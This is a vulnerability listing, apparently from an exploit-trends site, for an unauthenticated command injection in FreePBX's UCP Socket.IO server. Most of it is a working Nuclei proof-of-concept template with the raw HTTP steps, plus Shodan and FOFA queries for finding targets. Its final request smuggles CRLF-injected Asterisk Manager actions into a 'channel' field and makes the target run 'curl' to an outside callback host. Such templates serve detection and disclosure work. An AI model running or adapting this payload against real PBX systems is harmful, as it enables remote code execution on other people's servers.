CVE-2026-73665: FreePBX - Command Injection

2026-12-04 PoC Public

Description

FreePBX versions before 17.0.9 have a command injection flaw caused by inconsistent authentication middleware on UCP Node server Socket.IO namespaces. The checkAuth middleware is applied only to the default namespace, so an unauthenticated client can connect to the conferences namespace and inject arbitrary Asterisk Manager Interface actions via CRLF in event parameters, achieving remote code execution as the asterisk service user.

Details

CVE
CVE-2026-73665 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-73665

info:
  name: FreePBX - Command Injection
  author: 0x_Akoko
  severity: critical
  description: |
    FreePBX versions before 17.0.9 have a command injection flaw caused by inconsistent authentication middleware on UCP Node server Socket.IO namespaces. The checkAuth middleware is applied only to the default namespace, so an unauthenticated client can connect to the conferences namespace and inject arbitrary Asterisk Manager Interface actions via CRLF in event parameters, achieving remote code execution as the asterisk service user.
  impact: |
    Unauthenticated attackers can run arbitrary commands as the asterisk service user, which could compromise the whole system.
  remediation: |
    Update to version 17.0.9 or later.
  reference:
    - https://github.com/FreePBX/security-reporting/security/advisories/GHSA-37j8-fhxx-9vhp
    - https://github.com/fixedbyreboot/CVE-2026-73665-POC
    - https://nvd.nist.gov/vuln/detail/CVE-2026-73665
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-73665
    epss-score: 0.01698
    epss-percentile: 0.77956
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: sangoma
    product: freepbx
    shodan-query: http.favicon.hash:"-1908328911"
    fofa-query: app="FreePBX"
  tags: cve,cve2026,freepbx,sangoma,cmdi,rce,unauth,oast,intrusive

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /socket.io/?EIO=4&transport=polling HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: sid
        part: body
        group: 1
        internal: true
        regex:
          - '"sid":"([^"]+)"'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "sid")'
          - 'contains(body, "upgrades")'
        condition: and
        internal: true

  - raw:
      - |
        POST /socket.io/?EIO=4&transport=polling&sid={{sid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        40/conferences,

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /socket.io/?EIO=4&transport=polling&sid={{sid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "40/conferences")'
        internal: true

  - raw:
      - |
        POST /socket.io/?EIO=4&transport=polling&sid={{sid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        42/conferences,["mute",{"conference":"4000","channel":"\r\n\r\nAction: Originate\r\nChannel: Local/100@default\r\nApplication: System\r\nData: curl {{interactsh-url}}\r\nAsync: true\r\n\r\n"}]

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
# digest: 490a00463044022057a6832c5b7466e31b2db5653eb6568bf2feccf3137ade7e8c2b868c985fd80002203d03c068bb3127b2c84e64cc861a904e2f2c493c8e03be472266967ddcf55c61:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life